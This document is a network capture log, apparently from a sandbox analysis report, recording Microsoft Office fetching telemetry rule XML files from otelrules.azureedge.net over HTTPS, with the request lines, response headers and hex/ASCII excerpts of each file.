2024-10-29 09:47:55 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.4	49885	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:55 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:55 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:55 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 5ec9f71f-c01e-0082-7a31-26af72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094755Z-15b8d89586fqj7k5h9gbd8vs9800000007e00000000098m3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:55 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.4	49884	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:55 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:55 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:55 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 2e8006eb-901e-0083-471c-26bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094755Z-16849878b78nx5sne3fztmu6xc000000076g00000000e5cd x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:55 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.4	49886	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:55 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:55 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:55 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: d0af8e75-601e-0050-7953-272c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094755Z-r197bdfb6b4zd9tpkpdngrtchw00000005sg0000000000k3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:55 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.4	49887	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:55 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:55 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:55 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 4412bc79-a01e-0084-7102-299ccd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094755Z-r197bdfb6b4mcssrvu34xzqc5400000006k00000000011h9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:55 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.4	49888	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:56 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:56 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:56 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: fae3f4c7-d01e-0017-0559-27b035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094756Z-15b8d89586f42m673h1quuee4s0000000ac00000000076rh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:56 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.4	49889	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:56 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:56 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:56 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: 39bddf94-501e-0016-02f5-24181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094756Z-r197bdfb6b4grkz4xgvkar0zcs0000000620000000000khp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:56 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.4	49890	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:56 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:56 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:56 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 0df29f50-101e-005a-068d-27882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094756Z-16849878b78qg9mlz11wgn0wcc00000005zg0000000050q5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:56 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.4	49891	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:56 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:56 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:56 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 16f71f95-f01e-0099-73fb-259171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094756Z-16849878b78x6gn56mgecg60qc000000088g000000000ncx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:56 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.4	49892	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:56 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:56 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:56 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 27230864-a01e-0070-6533-26573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094756Z-r197bdfb6b4c8q4qvwwy2byzsw00000006h000000000a5d5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:56 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.4	49893	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:56 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:57 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:57 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 927d9f3b-101e-0034-1176-2796ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094757Z-r197bdfb6b46kmj4701qkq602400000005d0000000005za3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:57 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.4	49894	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:57 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:57 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:57 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: ef425c1b-901e-002a-63e7-277a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094757Z-17c5cb586f6z6tw6g7cmdv30m800000007n0000000006z1b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:57 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 